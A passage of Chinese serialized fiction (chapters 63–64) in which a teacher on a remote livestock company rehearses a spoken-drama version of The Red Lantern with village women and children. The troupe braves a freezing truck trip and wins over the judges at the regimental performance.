舒染早就料到会是这样,她笑着压压手:“大家别急,听我说。这不是让大家去唱京剧,咱们就是把这个革命故事,用说话的方式表演出来。就像……就像平时咱们扫盲班读课文一样,只不过加上点动作和表情。” 她看向李秀兰:“秀兰,你年纪轻,记性好,手脚也麻利,你来演李铁梅,怎么样?就扎个红头绳,唱……呃,说那段‘我家的表叔数不清’。” 李秀兰吓得直往后缩,双手乱摇:“不行不行!舒老师,我不行!我哪会演戏啊!” “你能行。”舒染鼓励她,“你认字快,台词肯定记得住。铁梅也是个苦孩子,懂事坚强,跟你有点像。” 她又看向王大姐:“王大姐,你嗓门亮,气势足,你来演李奶奶最合适,‘痛说革命家史’那段,就得您这样的才压得住场!” 王大姐愣了一下,倒是没立刻拒绝,反而琢磨起来:“李奶奶?就是那个革命的老妈妈?嘶……这话是怎么说的来着?” 舒染赶紧把简化好的台词本递过去。 石头是孩子里最大胆的,主动问:“舒老师,那我呢?” “石头,你演李玉和!共产党员,英雄!最后是被敌人抓走了,但宁死不屈!” 石头一听,胸脯立刻挺了起来,脸上放光。 栓柱有点腼腆:“老师,我能演啥?” “栓柱,你演磨刀人,也是地下党,就一句台词:‘磨剪子嘞——戗菜刀——’然后给李玉和送信号,很重要!” 栓柱认真地点点头,默默念叨着“磨剪子嘞”。 小丫和春草几个小姑娘争着要演邻居小伙伴…… 阿迪力也被舒染安排了个反派兵甲的角色,虽然没台词,但要求他拿着木头枪,表情要凶一点。 阿迪力别扭地接过木头枪,试着龇了龇牙,惹得大家一阵笑。 角色大致分派下去,反对的声音居然小了很多。 大家拿着属于自己的那张写着简单台词的纸,表情都变得郑重起来。 这不再是唱戏,而是看得见摸得着的任务,而且,是光荣的革命任务。 接下来的日子,新教室和旁边的空地上就热闹了。每天放学和扫盲班下课后的时间,就成了排练时间。 舒染一句一句地教大家念台词,讲解人物感情。 “李奶奶,这里要悲痛,但不是哭哭啼啼,是带着恨和力量!” “铁梅,这里要天真好奇,但又很机敏。” “李玉和,要坚定,声音要沉!” 没有红头绳,就用红布条代替。没有红灯,舒染找老孙头要了个旧马灯,让李秀兰提着。没有大刀,栓柱就从家里拿了把真正的旧柴刀,但是被舒染严令只能比划,不能开刃。 木头手枪更是人手一把,是舒染画了图样,请机修组的同志帮忙锯出来的。 “我家的表叔数不清~~没有大事不登门~~”李秀兰开始念得磕磕巴巴,后来在舒染的鼓励下,居然能带上一点调子了,虽然离京剧唱腔差了十万八千里,但听起来居然也挺顺耳。 王大姐的“痛说革命家史”更是气势十足,她几乎不用看台词本,那些话像是从她心里喊出来的,带着她作为烈属的真切情感,常常念得自己和其他人都眼圈发红。 孩子们更是投入,举着木头枪“冲啊”、“杀啊”,把一场排练搞得热火朝天。 连赵卫东有次路过,看了一会儿,嘀咕了一句:“搞得还挺像那么回事儿。” 排练并非一帆风顺。 最大的问题还是忘词和怯场。尤其是妇女们,一看到旁边有围观的人,立刻就卡壳,手脚都不知道往哪里放。 舒染也不急,她就把这次排练当成一次特殊的扫盲课和心理课。 “没关系,桂芬姐,你看这句‘铁梅,开门去’,就五个字,你记得牢牢的。” “秀兰,别怕,你就当台下坐着的都是咱们连自己人,平时咋样就咋样。” “大家记住,我们不是在演戏,我们是在讲革命先烈的故事,把他们的精神讲给更多人听。这样想,是不是就不那么慌了?” 她还把台词里比较拗口的词和生字单独拎出来,写在黑板上教大家认、读、写。 “‘摞’——就是叠起来的意思。” “‘底细’——就是根源、真相。” “‘铜铁’——黄铜和钢铁,都是很坚硬的东西,比喻革命者的意志。” 这样一来,大家记台词的同时,竟然又认识了不少新字。张桂芬就笑着说:“这比光抄写有意思多了!为了不说错词,俺也得把这几个字记牢喽!” 道具的准备也充满了集体的智慧。 红灯始终是个难题,马灯看起来实在不像。 最后还是舒染想了办法,找许君君要了个废弃的大玻璃药瓶,洗干净,里面用红纸糊上,瓶口拴上绳子,里面点上个小蜡烛头,等到演出时才能点,看起来居然也有模有样。 演出用的服装更是五花八门。 李奶奶的褂子是王大姐自己的,打了补丁但洗得干净。李铁梅的红花袄是李秀兰唯一一件鲜亮点的衣服,平时舍不得穿。李玉和的工人服是石头爹贡献的旧工作服。 日本兵的黄衣服找不到,干脆就用旧军装染了点黄泥水,晾干了凑合。 汇演的日子越来越近,大家的紧张感也越来越强,但排练的热情却空前高涨。 这事成了畜牧连的一件新鲜事,每天都有职工收工后跑来看热闹,嘻嘻哈哈地指点两句,又被舒染笑着拉进来当观众找感觉。 演出前三天,舒染组织了一次简单的连内彩排。马连长、刘书记、赵卫东,还有不少闲着的职工都来了,把教室门口围得水泄不通。 音乐是没有的,全靠舒染在旁边提词和用手打拍子提示节奏。 当王大姐用带着口音的普通话,悲愤交加地“痛说革命家史”时,台下安静极了。 当李秀兰提着“红灯”,清脆地念出“虽说是亲眷又不相认,可他比亲眷还要亲”时,有人轻轻点头。 当石头扮演的李玉和昂首挺胸被“押”下去时,孩子们的小拳头都攥紧了。 表演结束,台下静了片刻,然后爆发出热烈的掌声。 马连长使劲拍着巴掌,脸上笑开了花:“好!真好!像样!真像样!” 刘书记也连连点头:“真没想到,真没想到啊!舒老师,你这办法好!这不仅是演戏,这更是活生生的思想教育课!” 赵卫东没说话,但也点了点头,算是认可。 舒染看着兴奋得脸蛋红扑扑的演员们,看着台下那些满意的面孔,心里那块大石头终于落了地。 她忽然明白,这不仅仅是为了完成一个上级任务。 在这个过程中,这些妇女和孩子们变得更加自信、更加认学,连队的气氛也似乎更加凝聚了。那些革命的故事,通过这种方式真正走进了大家的心里。 正式的汇演,或许他们不是唱得最好的,但一定是心意最真的。 她看着正在小心翼翼擦拭木头枪的栓柱,和互相整理着头绳的李秀兰、春草,嘴角露出了笑容。 在这一生能排练出这场特殊的课本剧,值了。 第63章 团部汇演的日子定在元旦的前一天下午, 地点就在团部大礼堂。 出发前一天,畜牧连像是要过年。参加演出的妇女和孩子们既兴奋又紧张,一遍遍地检查着自己的道具和那几句早已滚瓜烂熟的台词。舒染把大家召集到教室, 做最后的动员和检查。 “红头绳都带了吗?马灯里的蜡烛头备用的拿两个!” “木头枪都别掉了,栓柱, 你的磨刀吆喝再练一遍我听听。” “上了台,眼睛看前方,就当台下坐的都是咱们连自己人, 声音一定要放出来!” “记住,咱们不是去比谁唱得好,咱们是去讲革命故事,把铁梅一家的精神讲出去!” 她细细地叮嘱着每一个人, 心里其实也七上八下。 这是她第一次带队参加这种活动, 还是用这种课本剧形式, 万一演砸了, 丢的不只是她自己的脸, 更是整个畜牧连的脸。 马连长和刘书记也特意过来打气。马连长看着穿戴起来的演员们, 咧着嘴笑:“好!精神!就这么演!给咱们畜牧连长长脸!” 刘书记则比较务实,嘱咐带队的舒染:“看好人和东西, 完事了直接回来,别在团部瞎逛。” 陈远疆不知何时也出现在了教室门口, 他没有进来,目光扫过屋里闹哄哄的场面, 最后落在忙得额头冒汗的舒染身上。他看了一会儿, 什么都没说,转身走了。 过了一会儿,许君君小跑着过来, 塞给舒染一个小纸包:“万一谁紧张得头晕,或者是低血糖了,含一片。”舒染打开一看,是几块冰糖。 第二天天还没亮,连里唯一那辆跑运输的破旧卡车被临时征用,引擎盖子上结着一层白霜 马连长不放心,让许君君作为后勤保障也跟着上去。 与其说是车厢的位置不如说是更大一号的拖拉机的后斗子,里面沾满了泥点和牲畜的毛。 “快!动作快!赶紧上车,挤在一起暖和!”舒染穿着棉袄棉裤,头上裹着厚厚的围巾,只露出两只眼睛。 演员们一个个都裹得像棉花包,穿着家里最厚实的衣裳,戴着露出棉絮的旧帽子,手上是各种颜色的劳保手套。 阿迪力则是穿着羊皮羊绒做的里衣和大棉袄,更显厚实。 “老马!”马连长穿着军大衣,戴着狗皮帽子,踩着脚冲驾驶室喊,“路上慢点!安全第一!这鬼天气,可不敢把人冻坏了!” “放心吧连长!”老孙头从车窗探出头,脸冻得通红,“我尽量找背风的路走!” 刘书记走到车边,对舒染大声说:“到了团部直接找张干事!赶紧进屋暖和!这天气可不是闹着玩的!”他又不放心地看了一眼车厢里瑟瑟发抖的人们,“坚持住!” 大家呵着白气,拨开车厢上钉着的厚实的棉门帘,互相搀扶着爬上又高又冰的车厢板。 道具被小心地传递上来——那盏用玻璃药瓶做的红灯生怕冻裂了,用旧棉絮裹着。 舒染最后一个准备上车,她刚踩上车轮毂就听到一阵急促的脚步声传来。 众人回头,只见陈远疆大步流星地从连部方向走来,肩膀上落着一层霜,似乎刚从外面巡视回来。他径直走到车旁,手里拎着一件深绿色的军棉大衣。 他没多说话,只是手臂一扬,将那件厚实的军大衣直接递向了舒染。 “穿上。”他的话听不出什么情绪,但带着一种命令口吻。 舒染愣了一下,看着那件显然是他自己穿的,还带着些许室外寒气的军大衣,一时没伸手去接。“陈干事,这……您自己……” “我不跟车。”陈远疆打断她,眉头微蹙,似乎嫌她啰嗦,手臂又往前递了一下,“拿着。冻病了,耽误事。” 驾驶室里的老孙头探出头来帮腔:“舒老师,就你穿得薄!快拿着吧!陈干事是好心!这路上真能冻死人!他那身板扛冻,你别跟他客气!” 车厢上的王大姐也赶紧掀开帘子说:“舒老师,快穿上!陈干事给的可是好东西!” 舒染不再推辞,接过了那件沉甸甸的军大衣。 “谢谢您,陈干事。”她低声道。 陈远疆没回应,只是又扫了一眼车厢,对老孙头说了一句:“开稳点。”然后便转身走远了,身影消失在清晨的寒雾里。 舒染抱着那件军大衣爬上车,将陈远疆的军大衣裹在外面。大衣很长,几乎到她的小腿。 “舒老师,这下暖和了吧?”旁边的李秀兰羡慕地说。 “嗯……”舒染把脸埋在高高的领子里,低声应了一句。 卡车引擎发出咆哮,终于启动了。车轮碾过冻得硬邦邦的土路,发出嘎吱嘎吱的声响。 车子一动,寒风立刻从棉门帘的间隙处灌进车厢。大家刚才还能跺脚活动,现在只能蜷缩起来。 “嘶……冷死了!”张桂芬牙齿打着颤,把头上的围巾又裹紧了一层,几乎把整张脸都包住了。 “都往中间挤挤!背对着风!把孩子围在里头!”许君君很有经验地指挥着,声音在风里断断续续。 大家拼命往车厢中间挤,背对着车行的方向,试图用身体为彼此阻挡一些风寒。孩子们被大人紧紧搂在怀里,小脸冻得通红。 舒染感觉自己的脚趾正在失去知觉,她艰难地转过身,大声喊:“大家……活动一下脚趾和手指!别……别冻僵了!” 卡车在坑洼的冻土路上颠簸,每一次颠簸都让挤在一起的人东倒西歪,引来一阵哆嗦和惊呼。 车速不敢快,老王显然也在驾驶室里冻得够呛,努力寻找着相对平缓的路面,但漫长的旅途和无孔不入的寒冷是无法避免的。 大约过了一个多小时,寒冷和颠簸开始带来另一种痛苦。 “呃……我……我有点恶心……”一个妇女虚弱地说,她的脸在寒风里变得蜡黄。 “我也是……头好晕……”另一个声音带着哭腔。 晕车开始了。但因为寒冷,呕吐变得异常艰难和痛苦。 第一个忍不住的是栓柱,他猛地扒开车厢板,“哇”地一声吐了出来。呕吐物几乎在离开口腔的瞬间就被冷风吹散冻结,形成一道恶心的冰凌挂在车帮上。 这一下引发了连锁反应。好几个妇女和孩子也忍不住了,挣扎着爬到车边呕吐。 在零下十几度的寒风里呕吐,简直是酷刑。眼泪刚流出来就冻在睫毛上,冷风呛进喉咙,引起更加剧烈的咳嗽和干呕。 “停……停车……受不了了……”有人用尽力气拍打着驾驶室的后窗板,但声音微弱,手掌拍在冰冷的铁皮上也生疼。 可能是凭经验到了该休息的时候,也可能是从后视镜看到了后面异常的动静,老王终于在一片背风的土坡后停下了车。 车一停,大家几乎是连滚带爬地跌下车厢,双腿早已冻麻,直接摔倒在冻土地上。 一下车,更多人蹲在地上呕吐起来。 老王跑过来,看着这群狼狈不堪的人,连连跺脚:“哎呦!这遭罪的!快活动活动!跺跺脚!跑两步!千万别坐下!”他自己也冻得鼻涕直流。 大家勉强站起来,在背风处拼命跺脚、搓手、来回跑动,试图让冻僵的身体恢复一点知觉。舒染拿出水壶,想喝口水,却发现壶里的水已经结了一层薄冰。 休息了不到十分钟,不敢再多停留,必须继续赶路。大家重新爬回车厢。车厢里刚才人体聚集的一点微弱热气早已散尽,甚至比下车前更冷了。 接下来的路程,所有人都缩成一团,依靠彼此的体温艰难地维持着。没有人说话,也张不开嘴,只是默默地忍受着。 颠簸了仿佛一个世纪,卡车终于驶入了团部。低矮的土坯房群覆盖着积雪,烟囱里冒出的炊烟很快被凛风吹散。街上行人稀少,都裹得严严实实,行色匆匆。 卡车按照指示,直接开到了团部招待所门口——一排看起来比普通民居厚实些的土坯平房。 车子刚停稳,一个戴着棉军帽、穿着臃肿棉衣的中年男人就从挂着厚棉帘子的门房里小跑出来,呵着白气招呼:“是畜牧连的同志们吧?哎呀,可算到了!这鬼天气,快进屋快进屋!” 是接待的张干事。他脸膛冻得通红,热情却又不失条理。“路上冻坏了吧?赶紧的,行李先搬进来!男同志住东头大间,女同志带娃娃住西头大间,炉子都提前给你们烧上了!”他一边指挥着,一边帮忙提溜行李。 大家哆嗦着跳下车,踩着吱嘎作响的积雪,一股脑涌进招待所。 舒染将那件军大衣叠好抱在怀里。大衣的外表已经被冻得硬邦邦,甚至还沾着几点刚才路上飞溅的的泥点。她跟着人群往屋里走,心里想着:得找个机会,把大衣洗干净了,再还给他。 一掀开厚重的棉门帘,一股暖意扑面而来,虽然气味不佳,却瞬间让人活了过来。 所谓招待所,就是一排简陋的土块平房,一个大通铺房间能睡十几个人。男女分开住。条件艰苦,但至少能避寒,有统一的食堂。 房间里有一个烧得通红的铁皮炉子,虽然烟有点呛人,但巨大的暖意瞬间包裹了所有人。大通铺上铺着粗糙的芦苇席和薄薄的被褥,但这在当下已经是很好的环境了。 张干事忙着给大家登记,分发着钥匙,其实也就是门栓上的锁头钥匙,嘴里不停:“介绍信都带了吧?诶,好嘞!吃饭在隔壁食堂,这两天按时打饭!热水每天早晚供应两次,锅炉房在那边,自己拿暖壶去打,省着点用啊!” 舒染作为带队老师,赶紧上前交接,递上介绍信:“张干事,麻烦您了,这么冷的天还等着我们。” “嗐!应该的应该的!”张干事爽快地笑着,仔细看了介绍信,压低点声音说,“舒老师是吧?听说你们是来演节目的?这天气可不容易!上台可得穿暖和点……” 放下行李,大家简单擦了把脸。 舒染在招待所门口又遇到了张干事正拿着扫帚扫雪。 “出去啊?”张干事直起腰,“供销社顺着这条路走到头往右拐就是。不过天冷,东西运不来,也没多少新鲜玩意儿。看看就回吧,别冻着了。” 他好意提醒道,然后又像是想起什么,补充了一句,“哦对了,刚才八连的人也住进来了,就在你们隔壁排房。他们郝连长可是提前好久就打电话来招呼过了……” 张干事话说了一半,摇摇头,继续扫雪,但那未尽之语里的意味,大家都听明白了。 中午在招待所食堂吃饭。玉米面窝头很硬,一碗白菜土豆汤热气腾腾的。大家围着小桌子,拼命喝着热汤取暖。 下午是自由活动时间,第二天才正式汇演抽签。 舒染叮嘱大家不要走远,结伴而行。 “舒老师,听说团部有供销社,比咱连里的大,咱能去看看不?我想买点蛤蜊油,脸都快冻裂了。”李秀兰的脸颊确实已经冻红了,眼里充满渴望。其他几个妇女也期待地看着舒染。 舒染想了想,同意了:“行,一起去看看,但不许乱花钱,看好自己的东西。快去快回,外面太冷了。” 团部的供销社果然大不少,商品也稍多一些。除了日常的劳保用品、粮油副食,果然有防冻的蛤蜊油、凡士林,还有更厚实的棉手套。居然还有搪瓷盆、暖水瓶、甚至一种颜色很暗的“的确良”布料。 妇女们挤在柜台前,精打细算地买着这些小东西。 舒染给每个孩子买了一些铅笔和橡皮,孩子们高兴得像过年一样。 就在她们逛的时候,迎面碰上了也来采买的杨振华干事。 “舒染同志?你们已经到了?”杨振华笑着打招呼,看了看她身后好奇张望的妇女孩子们,“怎么样?还适应吗?” “还好,杨干事。”舒染连忙回应。 杨振华压低了一点声音:“这次汇演,规模不小,各连都很重视。我听说,不光评比,拿了优秀奖的节目,很可能被推荐到师部参加更大的汇演,那意义可就不同了,奖励也会更实在。”他意味深长地看了舒染一眼,“好好表现!” 师部?更大的舞台?这对舒染来说无疑是个巨大的诱惑,但也意味着更大的压力。 杨振华走后,大家又在这供销社里精挑细选了一阵。 没一会,旁边传来一个熟悉的声音:“哟,我当是谁呢,这不是畜牧连的大教育家吗?怎么,带着你的学生来见世面了?” 舒染回头,只见周巧珍穿着一件崭新的军绿色大衣,围着红色的毛线围巾,头发梳得油光水滑,正站在不远处,双手抱胸,脸上带着讥诮的笑容。 “哟,畜牧连的同志们也来啦?”周巧珍声音带着一股优越感,“这大冷天的,跑一趟不容易吧?怎么样,招待所那炉子还暖和吗?我们八连可是提前打了招呼,房间离大礼堂近,暖和着呢。”她身边还跟着几个穿着同样体面些的男女,看样子是来参加演出队的。 王大姐一看是她,脸就沉了下来:“周巧珍?你咋在这儿?” 周巧珍得意地一扬下巴:“我怎么不能在这儿?我现在是八连宣传队的骨干!代表我们连来参加汇演的!不像有些人,滥竽充数,搞些不伦不类的东西就想上台。” 李秀兰气得脸通红,想反驳被舒染拉住了。 “周巧珍同志,汇演是靠节目质量说话,不是靠嘴皮子。我们在哪里,演什么,组织上自有安排。”舒染不想在寒冷的供销社里进行无谓的口舌之争。 “哼,走着瞧!”周巧珍冷哼一声,扭身带着她的人走了。 旁边八连一个人低声对周巧珍说:“巧珍姐,别跟他们一般见识,听说他们排的是啥‘课本剧’,笑死人了,连件像样行头都没有……” 她旁边一个女伴又低声说:“巧珍姐,别理他们,郝连长都打点好了,咱们肯定拿头名……” 声音不大,但足够舒染她们听见。妇女们的脸色都很难看。 晚上回到招待所通铺,炉火噼啪作响,但气氛有些沉闷。白天的寒冷、周巧珍的挑衅、还有那隐约听到的“打点”,让大家原本就不多的信心又动摇了几分。 “舒老师,师部汇演……咱能行吗?”李秀兰铺着床,小声问。 “那个周巧珍,嘴还是那么贱!”张桂芬愤愤不平。 王大姐叹了口气:“八连条件是好,听说他们连长特意批了钱做衣服呢。” 舒染给大家鼓着劲:“别想那么多。衣服再好看,灯再亮,故事讲不到人心里去,也是白搭。咱们把心里的劲儿使出来。” “舒老师,师部……听说更大更热闹、房子里更暖和,是真的吗?”一个孩子小声问,似乎想从憧憬里获得点力量。 舒染给他掖好被角,“真的。但不管冷不冷,咱们都得把故事讲好。记住了,咱们心里揣着团火,就不怕外面的风雪。睡觉!” 通铺里渐渐响起鼾声,但舒染吹了灯,一夜无眠。 第二天上午,抽签结果出来,畜牧连排在中间靠后。大家松了口气,至少有时间再准备一下。 中午过后,各连队开始陆续进入大礼堂后台区域。 团部大礼堂比舒染想象的要大些,土坯结构,里面摆满了长条凳。 他们到的时候,里面已经人声鼎沸,各个连队的人都来了,穿着各色各样的衣服,互相打着招呼,空气中弥漫一种节日的躁动。 大礼堂虽然比外面暖和,但也四处漏风。 各个连队的人挤在一起,脂粉味、汗味、煤炉味混杂在一起。穿着单薄演出服的人们冻得瑟瑟发抖,不停地跺脚搓手。还有各种乐器调音的吱嘎声、吊嗓子的咿呀声、带队干部的吆喝声。 畜牧连的人挤在一个背风的角落里,互相靠着取暖。 坐下后,孩子们的眼睛就不够用了,东张西望地看着其他连队那些拿着二胡、锣鼓,甚至穿着专业戏服的演员们,刚刚那点兴奋劲立刻被比了下去,露出了怯意。 李秀兰紧张地攥着舒染的衣角:“舒老师,你看他们……咱们这能行吗?” 张桂芬也咽了口唾沫:“俺的娘啊,这么多人……” 连石头都绷紧了小脸。 舒染心里也打鼓,但面上不能露。她压低声音,语气坚定:“怕什么?他们演他们的,我们演我们的。咱们的故事是真本事,不靠花架子。记住咱们是来讲故事的!” 正巧,周巧珍带着八连的人从他们面前走过,她们穿着崭新的仿军装演出服,脸上涂着红红的胭脂,趾高气扬。 “哟,还拿着木头枪呢?可真像那么回事儿。”周巧珍掩嘴轻笑。 她旁边一个女演员附和:“巧珍姐,人家这叫艰苦朴素嘛!” “还挤在一起取暖,真可怜。”周巧珍搓着戴着新棉手闷子的手,“要不我帮你们跟管炉子的说说,多给你们这边加点煤?” 她身边的人发出窃笑。 王大姐气得想冲上去理论,被舒染拉住:“王大姐,别理她们!台上见真章!” 舒染上下打量着她,和旁边的人耳语了一句,笑嘻嘻地看着周巧珍,直到周巧珍被笑得不自在,怀疑自己是不是脸上的妆花了。 舒染这才淡淡地看口:“周巧珍同志,有时间操心我们,不如多照照镜子,看看你的伶牙俐齿上沾了什么东西吧。” 周巧珍脸上一阵红一阵白,立刻捂着嘴跑走了。 阿迪力挠了挠头:“老师,她牙齿上什么都没有啊。” 舒染朝阿迪力眨眨眼:“我骗她的。” 许君君被舒染安排着悄悄去打探消息,回来脸色不太好,偷偷把舒染拉到一边:“染染,我刚才听旁边连的人说,这次评委会里有八连郝连长的老战友……而且,他们好像听说咱们的节目形式怪异,不够正规……” 舒染的心一沉。原来周巧珍的嚣张不仅仅是因为节目,还可能有人为操作的因素。 就在这时,杨振华干事匆匆穿过人群走过来,找到舒染,眉头微锁,低声道:“舒染同志,情况有点变化。评委会里有个别老同志,思想比较保守,对你们这种创新形式可能有些……看法。等下上台,无论如何,一定要稳住,把你们的特色,尤其是那种真实的情感,彻底释放出来!这才是最能打动人心的!” 他顿了顿,又补充一句:“陈远疆刚才托人带话过来,他说,”杨振华模仿着陈远疆那种冷硬的语气,“‘告诉他们,戈壁滩上的石头,也能砸出声响。’” 舒染愣了一下,随即明白了他的意思。她重重地点了点头:“杨干事,我们明白了!谢谢您,也……谢谢陈干事。” 回到角落,舒染把大家召集过来,没有提评委的事,只是把陈远疆的话原样转达。 “戈壁滩上的石头,也能砸出声响……”王大姐重复了一遍,眼里亮了亮:“对!咱就是石头!咱也得砸出个响来给她们听听!” “对!砸出个响!”妇女和孩子们的情绪被这句话点燃了,之前的紧张和沮丧被一种破釜沉舟的决心取代。 前台传来的掌声和乐器声敲在每个人的心上。 快轮到他们了。 舒染最后检查了一遍每个人的妆容——其实也就是把脸洗干净,头发捋顺。她看着这一张张紧张却又透着坚定的面孔,深吸一口气,语气常坚定:“记住,我们不是在演戏,我们是在讲故事,讲给我们父母辈、兄弟姐妹辈的故事!” 第64章 终于, 汇演开始了。 节目果然五花八门。有正经唱样板戏片段的,虽然唱功参差不齐,但行头像模像样;有表演歌舞的《毛主席的光辉》;还有说快板的、吹口琴的……台下掌声、叫好声不断。 每上一个节目, 畜牧连的人们心就揪紧一分。他们的课本剧在这些专业节目衬托下,显得格外另类和小家子气。 终于, 报幕员念到了:“下一个节目,革命现代京剧改编课本剧《红灯记》选段‘痛说革命家史’、‘都有一颗红亮的心’,表演单位:畜牧连。” 台下响起稀稀拉拉的掌声, 更多的是一种好奇的张望和等待看好戏的沉寂。 幕布拉开。舞台上没有任何布景,只有从团部借来的两张桌子一把椅子。 畜牧连的演员们站在空旷的舞台上,台下观众都裹得严实,好奇又带点审视地看着这群不怕冷的人。 开场前的寂静被八连区域一声嗤笑打破:“这是干啥?上去讲故事啊?连件行头都不换?”几个八连的人跟着低笑。 评委席上, 面容严肃的老评委皱紧了眉头, 在本子上记了什么, 显然对这种不伦不类的形式极为不满。 台上的孩子们吓得几乎要发抖。王大姐看着黑压压的台下, 大脑一片空白, 只觉得腿肚子转筋, 第一个词卡在喉咙里,怎么也发不出来。 舒染站在侧幕条边, 比任何时候都紧张,手心里的汗湿透了攥着的台词本。样板戏改课本剧, 这在当时的人看来,可能就是胡闹。 就在冷场即将发生的瞬间, 王大姐被那嗤笑和严寒激得一股火冲上头顶。 她猛地向前一步, 不是京剧台步,就是生活中和人理论的架势,对着台下, 用她那大嗓门,不管不顾地吼出了第一句——不是唱,就是实实在在的、带着血泪的诵: “——十七年了啊!风里雨里,俺都不敢提以前的事!!” 这朴实语言让所有窃笑戛然而止。台下的人都愣住了,评委们也怔住了,这不是唱戏,这像是真有一个老妈妈在控诉。 王大姐彻底豁出去了,她眼泪淌下来,指着虚空:“怕啥?怕你知道了,心扛不住!志气垮了!好几回话到嘴边,俺又咽回去了!!是他们!是他们把你爹抓走了啊!是你爹……叫他们给害了啊——!!” 那声“害了啊”带着破音的哭腔和绝望,没有任何程式化的表演,就是最原始的悲痛。 台下许多经历过生离死别的兵团职工瞬间被击中,下意识地攥紧了拳头,眼眶红了。 王大姐像是在用尽全身力气倾诉一段沉重的往事。台下渐渐安静下来。 就连那位严肃的老评委,记录的手也停顿了一下。 接着是石头扮演的李玉和,被这真实的情绪感染,忘情地喊道:“娘!你和我说!俺不怕!俺啥都不怕!” 李秀兰扮演的李铁梅上场了。她提着那个用玻璃药瓶做的红灯,手指因为紧张而发抖,但声音得像是在发誓: “听奶奶,讲革命,英勇悲壮!却原来,我是风里生来雨里长!”“奶奶呀,你放心吧!铁梅我,定要把它好好保存!” 她也没有唱,而是用接近朗诵的语调,一字一句,清晰地将台词念出来。 当她和由春草、小丫等扮演的“邻居们”念起“我家的表叔数不清……虽说是亲眷又不相认,可他比亲眷还要亲”时,台下甚至有人跟着轻轻哼起了熟悉的旋律,虽然台上的人只是在念。 没有唱腔,没有身段,只有无比真挚的讲故事。 台下寂静得可怕,是一种完全懵掉的失语。 栓柱的“磨剪子嘞——戗菜刀——!”吆喝得异常响亮。 阿迪力和另一个孩子扮演的日本兵凶神恶煞地冲上台“抓”走李玉和时,带着牧区孩子的野劲儿,台下的小孩子们发出了惊呼。 最后,李铁梅高举红灯,所有的“邻居”和“革命同志”都围拢过来,在李秀兰带着颤音却无比坚定的“打不尽豺狼决不下战场!”的朗诵声中,幕布缓缓拉上。 节目结束了。 台上,演员们还保持着最后的姿势,喘着气,紧张地看着台下。 台下,一片寂静。 后台一片死寂。八连的人脸上露出不可思议的表情。周巧珍低声对同伴说:“这啥玩意儿?乱喊一气就完了?丢人现眼!” 那寂静持续了大概两三秒,对台上台下的人来说,却漫长得像一个世纪。 这寂静,比任何嘘声都可怕。侧幕边的舒染手心里全是汗。失败了吗?观众甚至吝啬于给予一点反应?评委席上的那些面孔,都紧绷着…… 后台工作人员招呼他们下场。演员们全都走向后台,穿上冰冷棉袄,浑身发抖,心情复杂,不知道刚才那算成功还是失败。 舒染手脚冰凉,她只知道,他们做了一件前所未有的事,评委和观众能接受吗?她心里完全没底。 前台,报幕员报幕,八连光鲜亮丽的《智取威虎山》选段开始。字正腔圆,行头漂亮,动作规范。音乐声起,似乎一下子把大家拉回了“正规”汇演的轨道。 后台,管事的过来对畜牧连说:“同志们,可以先回招待所休息等通知了。”语气平淡,听不出波澜。 这话像是最后的宣判。大家情绪低落地收拾东西,准备默默离开。失败的阴影笼罩着每个人。 就在他们快要走出后台时,突然,评委席方向传来一阵骚动。 只见那位一直表情严肃的老评委竟然站了起来,在八连刚表演完下场的间隙问:“刚才畜牧连那个节目……那个不算节目的节目,负责人还在吗?” 所有人都惊呆了,全场目光聚焦过来。 舒染心脏狂跳,深吸一口气,走出去:“首长,我是带队老师舒染。” 老评委目光锐利地看着她,又扫过她身后那些穿着臃肿棉袄,冻得瑟瑟发抖,脸上还带着未褪去激动情绪的演员们,语气急切地问:“谁教你们这么弄的?这算什么?唱戏不像唱戏,朗诵不像朗诵!” 舒染紧张但清晰地回答:“报告首长,没人教。是我们自己琢磨的。我们连条件差,没人会唱京剧,妇女孩子们识字也不多。但我们觉得样板戏的故事好,精神好,就想用我们能理解、能做到的方式,把故事的精神讲出来,记在心里。这不是表演,是我们……我们学习革命精神的一种方式。” 老评委盯着她,又看向王大姐、李秀兰他们,突然,他猛地一拍桌子,吓了所有人一跳。 “好!好一个学习方式!”老评委的声音因激动,“我搞了一辈子宣传,今天被你们上了一课!原来革命文艺还能这样搞!对!就是这样!让故事走进心里去!比唱两句强一百倍!” 他转向其他评委和全场,大声说:“同志们!我们是不是有时候忘了,搞这些是为了什么?是为了让老百姓看懂!记住!受教育!畜牧连的同志们,条件最差,但她们动了脑筋!用了真心!她们不是在演戏,她们是在用她们的方式,告诉我们李奶奶一家有多恨!有多爱!有多坚决!这种力量,比什么花架子都强!” 他这番充满感情的即兴讲话,引起了台下许多普通职工的强烈共鸣。他们大多也是文化不高的普通人,畜牧连那种朴素的讲故事的方式,反而更直接地击中了他们的情绪。 “首长说得对!”“俺听懂了!听进去了!”“比听不懂的唱腔得劲!” 台下响起一片赞同声。其他评委也纷纷点头交头接耳,显然被老同志的话和老乡们的反应打动了。 形势开始逆转。 评分环节,尽管仍有评委以“不符合文艺表演规范”为由打了低分,但老首长和另外几位被感动的评委给出了很高的评价分。 最终,畜牧连这个四不像的节目,凭借其真挚的情感和创新的形式所引发的强烈共鸣,以微弱的优势,险胜八连的节目,获得了最高评价和师部汇演资格。 当结果宣布时,后台陷入了寂静,随后爆发出欢呼! 舒染看到评委席上,几位老同志也在用力鼓掌,虽然表情依旧严肃,但眼神里有了赞许。杨振华干事对着她方向,微笑着竖了一下大拇指。 而周巧珍和八连的人,站在后台入口,脸色脸色铁青,愤然离场。 回去的卡车上,虽然寒风依旧凛冽,但车厢里却像燃烧着一团火。大家紧紧挤在一起,分享着奖状带来的喜悦。 “舒老师!师部!咱们真要去师部了!”孩子们兴奋地尖叫,虽然声音冻得发颤。 “俺得赶紧写信告诉俺娘!”李秀兰激动得语无伦次。 王大姐摸着奖状,手还在抖,但脸上是前所未有的光彩:“值了!冻掉耳朵都值了!” 舒染擦着笑出的眼泪,大声说:“对!去师部!咱们要把这课本剧,演到师部去!” 卡车驶回畜牧连时,天早已黑透,风雪似乎更大了。但连部门口却火把通明。 消息早已传回,全连的人,裹着厚厚的棉衣,踩着积雪,都出来了。 马连长、刘书记站在最前面,脸上被火光照得红彤彤的。 “英雄回来了!!”欢呼声在寒冷中震撼人心。 热气腾腾的羊肉汤是给他们难得的犒劳,食堂里香气四溢,驱散着每个人身上的寒气。 被众人簇拥着的舒染,脸上洋溢着笑容,接受着大家的祝贺,但心底深处一种更实际、更迫切的想法正在发酵。 兴奋和荣誉感是真实的,但她很清楚,这些东西不能当饭吃。 